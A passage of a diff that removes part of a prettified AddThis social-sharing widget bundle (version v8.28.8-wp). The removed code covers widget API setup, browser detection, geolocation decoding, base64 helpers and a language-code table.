-                        153: '61f668fc145d01e22336',
-                        154: 'cbe8f37de2678f774327',
-                        155: '3a4129033bb6b674e9bd',
-                        156: '83c5e374f5c22911d34a',
-                        157: '5c460da9d8beb53078c0',
-                        158: '8b486d657e59aeec6535',
-                        159: '1c3fceccbc80f2a3615f',
-                        160: '0ba056ecfea377b48b11',
-                        161: '99b38648de09ca1bdb67',
-                        162: '29fb924cd615ad730026',
-                        163: 'c59315ccb1c91be5dfd2',
-                        164: '6dac3be59116ba4f14e8',
-                        165: '67175a3250c49486dd72',
-                        166: 'd2efa7860ccf13d7899c',
-                        167: '8402b988bbfaa91066f4',
-                        168: 'eef589906e0857099dc0',
-                        169: 'efeec5b8a32544fc9193',
-                        170: '9e7b6cd69e254af1f499',
-                        171: '8d5f53dfeb46d862fe6f',
-                        172: '79ab698a73b5afaed65a',
-                        173: '2821695000f9b873c0f6',
-                        174: '21344a9e46d420019364',
-                        175: 'c1786f5b2cd678448b5d',
-                        176: 'b3b098a46f20d5583e41',
-                        177: '36e5b7cc64ed9f331a55',
-                        178: '9cb53d47911af643216c',
-                        179: 'e3e56d7e6285ef8081c5',
-                        180: '983b40ae85af0ba84303',
-                        181: 'f55d68eadfd58dd8dcf2',
-                        182: '2caa37139e6f223a8c23',
-                        183: '43e9add297c55cb95003',
-                        184: '73d337bbba7a90f88049',
-                        185: '800a84f0387d0324e125',
-                        186: 'd877eb412e97f321ee73',
-                        187: 'b7d0512493de6454aa71',
-                        188: '0aff6aaf33b78c5d4652',
-                        189: '51293832a7399c176a0f',
-                        190: '90dcb4c545d8eeb18b58',
-                        191: '06c076820b37baec3670',
-                        192: '61e8382576559d2691f8',
-                        193: '80231ab24565ffe07479',
-                        194: '055de023e052f4fd6921',
-                        195: '461912c47007775093ae',
-                        196: '3c6865c6d917d50b1cbb',
-                        197: 'f40f0b8442ffcba47a35',
-                        198: '7f0391ab601ef9071bdb',
-                        199: '825338230b87d5a81170',
-                        200: 'ff373a2ed13982844550',
-                        201: 'f8e2469df9e51df6131a',
-                        202: 'dc39b1074dabf07fd8ac',
-                        203: '4061f95e96ae658fc861',
-                        204: 'f260e520c1e02234b1d0',
-                        205: 'da9d2cf11695ae552205',
-                        206: 'c8fa4cbf36815c215a10',
-                        207: '247b4e3ea70d9edde00f',
-                        208: '92c9dfa16a7b958c8a95',
-                        209: '7d7330bbfa2be6215e38',
-                        210: 'c9fe060fcef7c720d644',
-                        211: '74cdf7c5aa233e149d75',
-                        212: 'e5619a248e954e4e2445',
-                        213: '3f0365851e0236bd3349',
-                        214: '80f181915fa0449e1ef6',
-                        215: '008b12d3fd55c1ed45ac',
-                        216: 'fa6cd1947ce26e890d3d',
-                        217: 'dc87bc919b63621ccc93',
-                        218: 'd27508c102582d608697'
-                    } [e] +
-                    '.js'),
-                a.appendChild(o);
-            }
-        }),
-        (t.m = e),
-        (t.c = a),
-        (t.p = 'https://s7.addthis.com/static/'),
-        t(0)
-    );
-})(
-    ((e) => {
-        for (var t in e)
-            if (Object.prototype.hasOwnProperty.call(e, t))
-                switch (typeof e[t]) {
-                    case 'function':
-                        break;
-                    case 'object':
-                        e[t] = ((t) => {
-                            var n = t.slice(1);
-                            var a = e[t[0]];
-                            return function(e, t, i) {
-                                a.apply(this, [e, t, i].concat(n));
-                            };
-                        })(e[t]);
-                        break;
-                    default:
-                        e[t] = e[e[t]];
-                }
-        return e;
-    })([
-            (e, t, n) => {
-                e.exports = n(1);
-            },
-            (e, t, n) => {
-                /*! AddThis */
-                var a = n(2);
-                (a(window.location.href) && window.isAddThisTrackingFrame) ||
-                !(() => {
-                    function e(e, t, n, a) {
-                        return function(...args) {
-                            this.qs || (this.qs = 0),
-                                _atc.qs++,
-                                (this.qs++ > 0 && a) ||
-                                _atc.qs > 1e3 ||
-                                !s.addthis ||
-                                o({
-                                    call: e,
-                                    args,
-                                    ns: t,
-                                    ctx: n
-                                });
-                        };
-                    }
-                    function t(e) {
-                        var t = this;
-                        var n = (this.queue = []);
-                        (this.name = e),
-                        (this.call = function(...args) {
-                            n.push(args);
-                        }),
-                        (this.call.queuer = this),
-                        (this.flush = function(e, a) {
-                            this.flushed = 1;
-                            for (var i = 0; i < n.length; i++) e.apply(a || t, n[i]);
-                            return e;
-                        });
-                    }
-                    function a(e) {
-                        e && !(e.data || {}).addthisxf && s.addthis && (addthis._pmh.flushed ? _ate.pmh(e) : addthis._pmh.call(e));
-                    }
-                    var i;
-                    var o = n(3);
-                    var r = n(5);
-                    var s = window;
-                    var d = document;
-                    (s._atc || {}).ver ||
-                        ((s._atd = 'www.addthis.com/'),
-                            (s._euc = encodeURIComponent),
-                            (s._duc = decodeURIComponent),
-                            (s._atc = {
-                                dbg: 0,
-                                dr: 0,
-                                ver: 'patch',
-                                rev: 'v8.28.8-wp',
-                                loc: 0,
-                                enote: '',
-                                cwait: 500,
-                                bamp: 0.25,
-                                famp: 0.01,
-                                ltj: 1,
-                                abf: !1,
-                                qs: 0,
-                                cdn: 0,
-                                rsrcs: {
-                                    bookmark: 'static/bookmark.html',
-                                    linkedin: 'static/linkedin.html',
-                                    pinit: 'static/pinit.html',
-                                    fbshare: 'static/fbshare.html',
-                                    tweet: 'static/tweet.html'
-                                }
-                            })),
-                        (s._atr = 'https://s7.addthis.com/');
-                    for (var u in s._atc.rsrcs)
-                        if (s._atc.rsrcs.hasOwnProperty(u)) {
-                            var c = s._atc.rsrcs[u];
-                            c.indexOf(_atr) === -1 && (s._atc.rsrcs[u] = _atr + c);
-                        }
-                    var l = d.body || d.getElementsByTagName('head')[0];
-                    if (!s.addthis || s.addthis.nodeType !== i) {
-                        if (
-                            ((s.addthis = {
-                                    ost: 0,
-                                    cache: {},
-                                    plo: [],
-                                    links: [],
-                                    ems: [],
-                                    timer: {
-                                        load: new Date().getTime()
-                                    },
-                                    _Queuer: t,
-                                    _queueFor: e,
-                                    data: {
-                                        getShareCount: e('getShareCount', 'data')
-                                    },
-                                    layers: e('layers'),
-                                    configure(e) {
-                                        s.addthis_config || (s.addthis_config = {}), s.addthis_share || (s.addthis_share = {});
-                                        for (var t in e)
-                                            if ('share' === t && 'object' == typeof e[t])
-                                                for (var n in e[t])
-                                                    e[t].hasOwnProperty(n) && (addthis.ost ? addthis.update('share', n, e[t][n]) : (s.addthis_share[n] = e[t][n]));
-                                            else e.hasOwnProperty(t) && (addthis.ost ? addthis.update('config', t, e[t]) : (s.addthis_config[t] = e[t]));
-                                    },
-                                    button: e('button'),
-                                    counter: e('counter'),
-                                    count: e('count'),
-                                    toolbox: e('toolbox'),
-                                    update: e('update'),
-                                    init: e('init'),
-                                    ad: {
-                                        event: e('event', 'ad'),
-                                        getPixels: e('getPixels', 'ad')
-                                    },
-                                    util: {
-                                        getServiceName: e('getServiceName')
-                                    },
-                                    ready: e('ready'),
-                                    addEventListener: e('addEventListener', 'ed', 'ed'),
-                                    removeEventListener: e('removeEventListener', 'ed', 'ed'),
-                                    user: {
-                                        getID: e('getID', 'user'),
-                                        getGeolocation: e('getGeolocation', 'user', null, !0),
-                                        getPreferredServices: e('getPreferredServices', 'user', null, !0),
-                                        getServiceShareHistory: e('getServiceShareHistory', 'user', null, !0),
-                                        ready: e('ready', 'user'),
-                                        isReturning: e('isReturning', 'user'),
-                                        isOptedOut: e('isOptedOut', 'user'),
-                                        isUserOf: e('isUserOf', 'user'),
-                                        hasInterest: e('hasInterest', 'user'),
-                                        isLocatedIn: e('isLocatedIn', 'user'),
-                                        interests: e('getInterests', 'user'),
-                                        services: e('getServices', 'user'),
-                                        location: e('getLocation', 'user')
-                                    },
-                                    session: {
-                                        source: e('getSource', 'session'),
-                                        isSocial: e('isSocial', 'session'),
-                                        isSearch: e('isSearch', 'session')
-                                    },
-                                    _pmh: new t('pmh'),
-                                    _pml: []
-                                }),
-                                r('ie8') || r('ie9'))
-                        )
-                            return;
-                        var f = n(6);
-                        var p = n(538);
-                        var h = n(533).select;
-                        var m = n(539);
-                        var g = n(32);
-                        var _ = n(540);
-                        var v = n(405);
-                        var b = n(541);
-                        var w = n(23).listen;
-                        var x = n(452);
-                        var y = g('addthis_widget');
-                        if (y.provider || y.userapi) {
-                            var k = n(542);
-                            var C = n(543);
-                            var O = n(547);
-                            var M = _(y);
-                            var A = b(M);
-                            l.appendChild(M),
-                                y.userapi && (s.addthis.UserAPI = new k('user', C.methods, C.onReady, O)),
-                                y.provider && (s.addthis.ProviderAPI = new A('provider'));
-                        }
-                        if (!y.headless) {
-                            if (d.location.href.indexOf(_atr) === -1) {
-                                var E = d.getElementById('_atssh');
-                                if (
-                                    (E || ((E = d.createElement('div')), (E.style.visibility = 'hidden'), (E.id = '_atssh'), v(E), l.appendChild(E)),
-                                        s.postMessage && (w(s, 'message', a), addthis._pml.push(a)),
-                                        !E.firstChild)
-                                ) {
-                                    var S;
-                                    var I = Math.floor(1e3 * Math.random());
-                                    (S = d.createElement('iframe')),
-                                    (S.id = '_atssh' + I),
-                                    (S.title = 'AddThis utility frame'),
-                                    E.appendChild(S),
-                                        v(S),
-                                        (S.frameborder = S.style.border = 0),
-                                        (S.style.top = S.style.left = 0),
-                                        (_atc._atf = S);
-                                }
-                            }
-                            for (
-                                var T,
-                                    j,
-                                    N,
-                                    D = -1,
-                                    R = {
-                                        share: 'smlsh-1.0',
-                                        follow: 'smlfw-1.0',
-                                        recommended: 'smlre-1.0',
-                                        whatsnext: 'smlwn-1.0',
-                                        recommendedbox: 'smlreb-1.0'
-                                    },
-                                    L = !1;
-                                ++D < addthis.plo.length;
-                            )
-                                if (((j = addthis.plo[D]), 'layers' === j.call)) {
-                                    N = j.args[0];
-                                    for (T in N) R[T] && _ate.track.apc(R[T]);
-                                    _ate.track.apc('sml-1.0');
-                                }
-                            m.append(() => {
-                                    var e = {
-                                        '.addthis-recommendedbox': 'recommendedbox'
-                                    };
-                                    for (var t in e)
-                                        if (e.hasOwnProperty(t)) {
-                                            var n = h(t);
-                                            var a = {};
-                                            n.length && ((a[e[t]] = !0), (a.pi = !1), addthis.layers(a), (L = !0));
-                                        }
-                                    L &&
-                                        addthis.layers({
-                                            pii: !0
-                                        });
-                                }),
-                                (addthis.layers = function(...args) {
-                                    var e = Array.prototype.slice.call(args, 0);
-                                    x.setModuleLoaded('menu'),
-                                        n.e(216, () => {
-                                            n(453),
-                                                n(676),
-                                                n(684),
-                                                n(687),
-                                                n(690),
-                                                n(693),
-                                                n(699),
-                                                n(702),
-                                                n(703),
-                                                n(706),
-                                                n(681),
-                                                n(679),
-                                                n(709),
-                                                n(712),
-                                                n(715),
-                                                n(718),
-                                                n(721),
-                                                n(724),
-                                                n(728),
-                                                n(731),
-                                                n(739),
-                                                n(742),
-                                                n(747),
-                                                n(650)(() => {
-                                                    n(647), addthis.layers(...e);
-                                                });
-                                        });
-                                }),
-                                (addthis.messages = f),
-                                (addthis.events = p),
-                                (addthis.menu = function(...args) {
-                                    var e = Array.prototype.slice.call(args, 0);
-                                    x.loadMenu(() => {
-                                        window._ate && window._ate.menu && window._ate.menu.open && window._ate.menu.open(...e);
-                                    });
-                                }),
-                                (addthis.menu.close = function(...args) {
-                                    var e = Array.prototype.slice.call(args, 0);
-                                    x.loadMenu(() => {
-                                        window._ate && window._ate.menu && window._ate.menu.close && window._ate.menu.close.apply(window._ate.menu.close, e);
-                                    });
-                                }),
-                                (addthis.sharecounters = {
-                                    getShareCounts(...args) {
-                                        var e = args;
-                                        n.e(217, () => {
-                                            n(748), addthis.sharecounters.getShareCounts(...e);
-                                        });
-                                    }
-                                });
-                            var z = function(...args) {
-                                var e = args;
-                                n.e(218, () => {
-                                    n(748), n(749), addthis.counter.apply(addthis.sharecounters, e);
-                                });
-                            };
-                            var P = (e) => (t, n, a) => {
-                                var i = h(t);
-                                i.length && e(i, n, a);
-                            };
-                            (addthis.count = P(z)), (addthis.counter = P(z)), (addthis.data.getShareCount = z), n(550);
-                        }
-                    }
-                })();
-            },
-            (e, t) => {
-                e.exports = (e) => 'string' == typeof e && /https?:\/\/[^?#]*?\.addthis\.com/.test(e);
-            },
-            (e, t, n) => {
-                var a = n(4);
-                e.exports = (e) => {
-                    a().push(e);
-                };
-            },
-            (e, t) => {
-                var n;
-                e.exports = () => (
-                    n ||
-                    (window.addthis ?
-                        (window.addthis.plo || (window.addthis.plo = []), (n = window.addthis.plo)) :
-                        'undefined' != typeof _ate && (_ate.plo || (_ate.plo = []), (n = _ate.plo))),
-                    n
-                );
-            },
-            (e, t) => {
-                var n = navigator.userAgent.toLowerCase();
-                var a = {
-                    win(e) {
-                        return /windows/.test(e);
-                    },
-                    xp(e) {
-                        return /windows nt 5.1/.test(e) || /windows nt 5.2/.test(e);
-                    },
-                    osx(e) {
-                        return /os x/.test(e);
-                    },
-                    chb(e) {
-                        return /chrome/.test(e) && parseInt(/chrome\/(.+?)\./.exec(e).pop(), 10) > 13 && !a.msedge(e);
-                    },
-                    chr(e) {
-                        return /chrome/.test(e) && !/rockmelt/.test(e) && !a.msedge(e);
-                    },
-                    iph(e) {
-                        return /iphone/.test(e) || /ipod/.test(e);
-                    },
-                    dro(e) {
-                        return /android/.test(e);
-                    },
-                    wph(e) {
-                        return /windows phone/.test(e);
-                    },
-                    bb10() {
-                        return /bb10/.test(n);
-                    },
-                    ipa(e) {
-                        return /ipad/.test(e);
-                    },
-                    saf(e) {
-                        return /safari/.test(e) && !/chrome/.test(e);
-                    },
-                    opr(e) {
-                        return /opera/.test(e);
-                    },
-                    ffx(e) {
-                        return /firefox/.test(e);
-                    },
-                    ff2(e) {
-                        return /firefox\/2/.test(e);
-                    },
-                    ffn(e) {
-                        return /firefox\/((3.[6789][0-9a-z]*)|(4.[0-9a-z]*))/.test(e);
-                    },
-                    ie6(e) {
-                        return /msie 6\.0/.test(e);
-                    },
-                    ie7(e) {
-                        return /msie 7\.0/.test(e);
-                    },
-                    ie8(e) {
-                        return /msie 8\.0/.test(e);
-                    },
-                    ie9(e) {
-                        return /msie 9\.0/.test(e);
-                    },
-                    ie10(e) {
-                        return /msie 10\.0/.test(e);
-                    },
-                    ie11(e) {
-                        return /trident\/7\.0/.test(e);
-                    },
-                    msedge(e) {
-                        return /edge\/\d+\./.test(e);
-                    },
-                    msi(e) {
-                        return /msie/.test(e) && !/opera/.test(e);
-                    },
-                    mob(e) {
-                        return (
-                            !(!window.addthis_config || !window.addthis_config._forceClientMobile) ||
-                            /mobile|ip(hone|od|ad)|android|blackberry|iemobile|kindle|netfront|silk-accelerated|(hpw|web)os|fennec|minimo|opera m(obi|ini)|blazer|dolfin|dolphin|skyfire|zune/.test(
-                                e
-                            )
-                        );
-                    }
-                };
-                e.exports = (e, t) => ((t = t ? t.toLowerCase() : n), a[e](t));
-                for (var i in a)
-                    if (a.hasOwnProperty(i)) {
-                        var o = a[i];
-                        e.exports[i] = o(n);
-                    }!(() => {
-                        var t = document.compatMode;
-                        var n = 1;
-                        'BackCompat' === t ? (n = 2) : 'CSS1Compat' === t && (n = 0), (e.exports.mode = n), e.exports.msi && (e.exports.mod = n);
-                    })();
-            },
-            (e, t, n) => {
-                'use strict';
-                function a(e) {
-                    return e && e.__esModule ?
-                        e : {
-                            default: e
-                        };
-                }
-                function i(e) {
-                    n.e(1, () => {
-                        var t = n(346);
-                        var a = n(349);
-                        g || (n(536).setup(), n(22).setup(), n(24).setup(), n(25), n(337), n(340), a.incrementPageViews(), (g = !0)),
-                            (0, m.default)(() => {
-                                p.default.onReady(() => {
-                                    t.createCustomMessages(e, a);
-                                });
-                            });
-                    });
-                }
-                function o(e) {
-                    n.e(212, () => {
-                        var t = n(537);
-                        g || (n(25), n(337), n(340), (g = !0)),
-                            (0, m.default)(() => {
-                                p.default.onReady(() => {
-                                    t.setCustomMessages(e);
-                                });
-                            });
-                    });
-                }
-                Object.defineProperty(t, '__esModule', {
-                    value: !0
-                });
-                var r = n(7);
-                var s = a(r);
-                var d = n(5);
-                var u = a(d);
-                var c = n(13);
-                var l = a(c);
-                var f = n(14);
-                var p = a(f);
-                var h = n(17);
-                var m = a(h);
-                var g = !1;
-                var _ = (e, t) => ((0, u.default)('ie8') ? (l.default.error('AddThis custom messages are not supported in IE8'), !1) : void(t ? o(e) : i(e)));
-                (0, s.default)(_, 'messages'), (t.default = _), (e.exports = t.default);
-            },
-            (e, t, n) => {
-                'use strict';
-                var a = n(8);
-                e.exports = (e, t) => {
-                    var n = 'addthis.' + t + '.';
-                    a(e, {
-                        on(e, t) {
-                            addthis.ed.addEventListener(n + e, t);
-                        },
-                        off(e, t) {
-                            addthis.ed.removeEventListener(n + e, t);
-                        },
-                        once(e, t) {
-                            addthis.ed.once(n + e, t);
-                        },
-                        _fire(e, t, a) {
-                            addthis.ed.fire(n + e, t, a);
-                        }
-                    });
-                };
-            },
-            (e, t, n) => {
-                var a = n(9);
-                var i = n(10);
-                var o = n(11).array;
-                e.exports = function e(t, n, r) {
-                    var s;
-                    if (('boolean' != typeof t ? ((s = i(arguments, 1)), (n = t), (t = !1)) : (s = i(arguments, 2)), n)) {
-                        if (!s[0]) {
-                            if (((s[0] = n.object || n.obj), !s[0])) return n;
-                            n = n.subject || n.subj;
-                        }
-                        return a(
-                            s,
-                            (n, i) => {
-                                var r = !1;
-                                try {
-                                    JSON.stringify(i);
-                                } catch (e) {
-                                    r = !0;
-                                }
-                                return a(
-                                    i,
-                                    (n, a, i) => {
-                                        if (n) return r || !t || 'object' != typeof a || void 0 == a ? (n[i] = a) : (n[i] = e(!0, o(a) ? [] : {}, a)), n;
-                                    },
-                                    n
-                                );
-                            },
-                            n
-                        );
-                    }
-                };
-            },
-            (e, t) => {
-                e.exports = (e, t, n, a) => {
-                    if (!e) return n;
-                    if (e instanceof Array)
-                        for (var i = 0, o = e.length, r = e[0]; i < o; r = e[++i]) n = t.call(a || e, n, r, i, e);
-                    else
-                        for (var s in e)
-                            e instanceof Object ?
-                            e.hasOwnProperty(s) && (n = t.call(a || e, n, e[s], s, e)) :
-                            void 0 !== e[s] && (n = t.call(a || e, n, e[s], s, e));
-                    return n;
-                };
-            },
-            (e, t) => {
-                e.exports = function(e) {
-                    var t = Array.prototype.slice;
-                    return t.apply(e, t.call(arguments, 1));
-                };
-            },
-            (e, t, n) => {
-                function a(e) {
-                    return e === Object(e);
-                }
-                function i(e) {
-                    return '[object Array]' === Object.prototype.toString.call(e);
-                }
-                function o(e) {
-                    var t;
-                    for (t in e)
-                        if (e.hasOwnProperty(t)) return !1;
-                    return !0;
-                }
-                var r = n(12);
-                var s = {};
-                ['Arguments', 'Function', 'String', 'Number', 'Date', 'RegExp'].forEach((e) => {
-                        s[e.toLowerCase()] = (t) => r(t) === '[object ' + e + ']';
-                    }),
-                    (s.function = (e) => 'function' == typeof e),
-                    (e.exports = {
-                        string: s.string,
-                        function: s.function,
-                        number: s.number,
-                        emptyObj: o,
-                        object: a,
-                        array: Array.isArray || i
-                    });
-            },
-            (e, t) => {
-                var n = Object.prototype.toString;
-                e.exports = (e) => n.call(e);
-            },
-            (e, t, n) => {
-                var a;
-                var i = window;
-                var o = i.console;
-                var r = 0;
-                var s = !o || 'undefined' == typeof o.log;
-                var d = (Array.prototype.slice, ['error', 'warn', 'info', 'debug']);
-                var u = d.length;
-                try {
-                    !s && i.location.hash.indexOf('atlog=1') > -1 && (r = 1);
-                } catch (e) {}
-                for (
-                    a = {
-                        level: r
-                    };
-                    --u >= 0;
-                )
-                    !((e, t) => {
-                        a[t] = s ? () => {} : () => {};
-                    })(u, d[u]);
-                e.exports = a;
-            },
-            (e, t, n) => {
-                'use strict';
-                function a() {
-                    (this.initialized = !1), (this.location = null), (this.readyCallbacks = []);
-                }
-                var i = n(15).decodeGeo;
-                (a.prototype = {
-                    start(e) {
-                        if (!this.initialized) {
-                            this.initialized = !0;
-                            var t = this;
-                            e.ed.addEventListener('addthis.lojson.response', (e) => {
-                                t.set(e.data.loc);
-                            });
-                        }
-                    },
-                    get() {
-                        return this.location;
-                    },
-                    set(e) {
-                        this.location = i(e);
-                        for (var t = 0; t < this.readyCallbacks.length; t++) this.readyCallbacks[t](this.location);
-                    },
-                    loaded() {
-                        return !!this.location;
-                    },
-                    onReady(e) {
-                        return this.loaded() ? e(this.location) : void this.readyCallbacks.push(e);
-                    }
-                }),
-                (e.exports = new a());
-            },
-            (e, t, n) => {
-                'use strict';
-                function a(e) {
-                    return e ? (e.indexOf('%') > -1 && (e = window.decodeURIComponent(e)), e.indexOf(',') > -1 && (e = e.split(',')[1]), (e = s.atob(e))) : '';
-                }
-                function i(e) {
-                    var t;
-                    var n;
-                    var a = {};
-                    return (
-                        (e = e.toUpperCase()),
-                        (a.zip = e.substring(0, 5)),
-                        (a.continent = e.substring(5, 7)),
-                        (a.country = e.substring(7, 9)),
-                        (a.province = e.substring(9, 11)),
-                        (t = e.substring(11, 15)),
-                        '0000' !== t && (a.lat = (parseInt(t) / 10 - 180).toFixed(1)),
-                        (n = e.substring(15, 19)),
-                        '0000' !== n && (a.lon = (parseInt(n) / 10 - 180).toFixed(1)),
-                        (a.dma = e.substring(19, 22)),
-                        (a.msa = e.substring(22, 26)),
-                        (a.networkType = e.substring(26, 27)),
-                        (a.throughput = e.substring(27, 28)),
-                        a
-                    );
-                }
-                function o(e, t) {
-                    return e
-                        .toUpperCase()
-                        .split(',')
-                        .some((e) => {
-                            var n = e.trim();
-                            return t.zip === n || t.continent === n || t.country === n || t.province === n;
-                        });
-                }
-                function r(e) {
-                    return JSON.stringify(e);
-                }
-                var s = n(16);
-                e.exports = {
-                    decodeGeo: a,
-                    parseGeo: i,
-                    isLocatedIn: o,
-                    toString: r
-                };
-            },
-            (e, t) => {
-                function n(e) {
-                    for (var t, n, a, i, o, s, d, u = '', c = 0; c < e.length;)
-                        (t = e.charCodeAt(c++)),
-                        (n = e.charCodeAt(c++)),
-                        (a = e.charCodeAt(c++)),
-                        (i = t >> 2),
-                        (o = ((3 & t) << 4) | (n >> 4)),
-                        (s = ((15 & n) << 2) | (a >> 6)),
-                        (d = 63 & a),
-                        isNaN(n) ? (s = d = 64) : isNaN(a) && (d = 64),
-                        (u += r.charAt(i) + r.charAt(o) + r.charAt(s) + r.charAt(d));
-                    return u;
-                }
-                function a(e) {
-                    var t;
-                    var n;
-                    var a;
-                    var i;
-                    var o;
-                    var s;
-                    var d;
-                    var u = '';
-                    var c = 0;
-                    for (e = e.replace(/[^A-Za-z0-9\-_\=]/g, ''); c < e.length;)
-                        (i = r.indexOf(e.charAt(c++))),
-                        (o = r.indexOf(e.charAt(c++))),
-                        (s = r.indexOf(e.charAt(c++))),
-                        (d = r.indexOf(e.charAt(c++))),
-                        (t = (i << 2) | (o >> 4)),
-                        (n = ((15 & o) << 4) | (s >> 2)),
-                        (a = ((3 & s) << 6) | d),
-                        (u += String.fromCharCode(t)),
-                        64 != s && (u += String.fromCharCode(n)),
-                        64 != d && (u += String.fromCharCode(a));
-                    return u;
-                }
-                function i(e) {
-                    var t;
-                    var n;
-                    var a;
-                    var i;
-                    var o;
-                    var s = '';
-                    var d = 0;
-                    if (/^[0-9a-fA-F]+$/.test(e))
-                        for (; d < e.length;)
-                            (t = parseInt(e.charAt(d++), 16)),
-                            (n = parseInt(e.charAt(d++), 16)),
-                            (a = parseInt(e.charAt(d++), 16)),
-                            (i = (t << 2) | (isNaN(a) ? 3 & n : n >> 2)),
-                            (o = ((3 & n) << 4) | a),
-                            (s += r.charAt(i) + (isNaN(a) ? '' : r.charAt(o)));
-                    return s;
-                }
-                function o(e) {
-                    for (var t, n, a, i, o, s = '', d = 0; d < e.length;)
-                        (i = r.indexOf(e.charAt(d++))),
-                        (o = d >= e.length ? NaN : r.indexOf(e.charAt(d++))),
-                        (t = i >> 2),
-                        (n = isNaN(o) ? 3 & i : ((3 & i) << 2) | (o >> 4)),
-                        (a = 15 & o),
-                        (s += t.toString(16) + n.toString(16) + (isNaN(o) ? '' : a.toString(16)));
-                    return s;
-                }
-                var r = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789-_=';
-                var s = window;
-                e.exports = {
-                    atob: s.atob ?
-                        function(...args) {
-                            return s.atob(...args);
-                        } : a,
-                    btoa: s.btoa ?
-                        function(...args) {
-                            return s.btoa(...args);
-                        } : n,
-                    hbtoa: i,
-                    atohb: o
-                };
-            },
-            (e, t, n) => {
-                var a = n(18);
-                var i = n(21);
-                e.exports = function e(t) {
-                    var n = window.addthis_translations;
-                    i(t instanceof Function, 'callback must be a function'),
-                        0 === a().indexOf('en') ?
-                        t() :
-                        n ?
-                        t(n) :
-                        setTimeout(() => {
-                            e(t);
-                        }, 100);
-                };
-            },
-            (e, t, n) => {
-                'use strict';
-                var a = n(19);
-                var i = n(5);
-                e.exports = () => {
-                    var e;
-                    var t;
-                    var n;
-                    a(window.addthis_language) ?
-                        (e = window.addthis_language) :
-                        window.addthis_config && a(window.addthis_config.ui_language) ?
-                        (e = window.addthis_config.ui_language) :
-                        window.addthis_config && a(window.addthis_config.lang) ?
-                        (e = window.addthis_config.lang) :
-                        a(document.documentElement.lang) && (e = document.documentElement.lang);
-                    var o = a(e);
-                    return (
-                        1 === o ? (n = e) : 'string' == typeof o && (n = o),
-                        n || ((t = i('msi') ? navigator.userLanguage : navigator.language), (o = a(t)), 1 === o ? (n = t) : 'string' == typeof o && (n = o)),
-                        n || (n = 'en'),
-                        n
-                    );
-                };
-            },
-            (e, t, n) => {
-                var a = n(20);
-                e.exports = (e) => {
-                    var t;
-                    return '[object String]' !== Object.prototype.toString.call(e) ?
-                        0 :
-                        ((t = e.split('-').shift()), a.hasOwnProperty(e) ? a[e] : a.hasOwnProperty(t) ? (1 === a[t] ? t : a[t]) : 0);
-                };
-            },
-            (e, t) => {
-                e.exports = {
-                    af: 1,
-                    afr: 'af',
-                    ar: 1,
-                    ara: 'ar',
-                    az: 1,
-                    aze: 'az',
-                    be: 1,
-                    bye: 'be',
-                    bg: 1,
-                    bul: 'bg',
-                    bn: 1,
-                    ben: 'bn',
-                    bs: 1,
-                    bos: 'bs',
-                    ca: 1,
-                    cat: 'ca',
-                    cs: 1,
-                    ces: 'cs',
-                    cze: 'cs',
-                    cy: 1,
-                    cym: 'cy',
-                    da: 1,
-                    dan: 'da',
-                    de: 1,
-                    deu: 'de',
-                    ger: 'de',
-                    el: 1,
-                    gre: 'el',
-                    ell: 'el',
-                    en: 1,
-                    eo: 1,
-                    es: 1,
-                    esl: 'es',
-                    spa: 'es',
-                    et: 1,
-                    est: 'et',
-                    eu: 1,
-                    fa: 1,
-                    fas: 'fa',
-                    per: 'fa',
-                    fi: 1,
-                    fin: 'fi',
-                    fo: 1,
-                    fao: 'fo',
-                    fr: 1,
-                    fra: 'fr',
-                    fre: 'fr',
-                    ga: 1,
-                    gae: 'ga',
-                    gdh: 'ga',
-                    gl: 1,
-                    glg: 'gl',
-                    gu: 1,
-                    he: 1,
-                    heb: 'he',
-                    hi: 1,
-                    hin: 'hi',
-                    hr: 1,
-                    ht: 1,
-                    hy: 1,
-                    cro: 'hr',
-                    hu: 1,
-                    hun: 'hu',
-                    id: 1,
-                    ind: 'id',
-                    is: 1,
-                    ice: 'is',
-                    it: 1,
-                    ita: 'it',
-                    iu: 1,
-                    ike: 'iu',
-                    iku: 'iu',
-                    ja: 1,
-                    jpn: 'ja',
-                    km: 1,
-                    ko: 1,
-                    kor: 'ko',
-                    ku: 1,
-                    lb: 1,
-                    ltz: 'lb',
-                    lt: 1,
-                    lit: 'lt',
-                    lv: 1,
-                    lav: 'lv',
-                    mk: 1,
-                    mac: 'mk',
-                    mak: 'mk',
-                    ml: 1,
-                    mn: 1,
-                    ms: 1,
-                    msa: 'ms',
-                    may: 'ms',
-                    my: 1,
-                    bur: 'my',
-                    mya: 'my',
-                    nb: 1,
-                    nl: 1,
-                    nla: 'nl',
-                    dut: 'nl',
-                    no: 1,
-                    nds: 1,
-                    nn: 1,
-                    nno: 'no',
-                    oc: 1,
-                    oci: 'oc',
-                    pl: 1,
-                    pol: 'pl',
-                    ps: 1,
-                    pt: 1,
-                    por: 'pt',
-                    ro: 1,
-                    ron: 'ro',
-                    rum: 'ro',
-                    ru: 1,
-                    rus: 'ru',
-                    sk: 1,
-                    slk: 'sk',
-                    slo: 'sk',
-                    sl: 1,
-                    slv: 'sl',
-                    sq: 1,
-                    alb: 'sq',
-                    sr: 1,
-                    se: 1,
-                    si: 1,
-                    ser: 'sr',
-                    su: 1,
-                    sv: 1,
-                    sve: 'sv',
-                    sw: 1,
-                    swe: 'sv',
-                    ta: 1,
-                    tam: 'ta',
-                    te: 1,
-                    teg: 'te',
-                    th: 1,
-                    tha: 'th',
-                    tl: 1,
-                    tgl: 'tl',
-                    tn: 1,
-                    tr: 1,
-                    tur: 'tr',
-                    tpi: 1,
-                    tt: 1,
-                    uk: 1,
-                    ukr: 'uk',
-                    ur: 1,
-                    urd: 'ur',
-                    vi: 1,
-                    vec: 1,
-                    vie: 'vi',
-                    'zh-cn': 1,
-                    'zh-hk': 1,
-                    'chi-hk': 'zh-hk',
-                    'zho-hk': 'zh-hk',
-                    'zh-tw': 1,
-                    'chi-tw': 'zh-tw',
-                    'zho-tw': 'zh-tw',
-                    zh: 1,
-                    chi: 'zh',
-                    zho: 'zh',
-                    'zh-tr': 'zh',
-                    'chi-tr': 'zh',
-                    'zho-tr': 'zh'
-                };
-            },
-            (e, t, n) => {
-                'use strict';
-                var a = (e, t, n, a, i, o, r, s) => {
-                    if (!e) {
-                        var d;
-                        if (void 0 === t)
-                            d = new Error(
-                                'Minified exception occurred; use the non-minified dev environment for the full error message and additional helpful warnings.'
-                            );
-                        else {
-                            var u = [n, a, i, o, r, s];
-                            var c = 0;
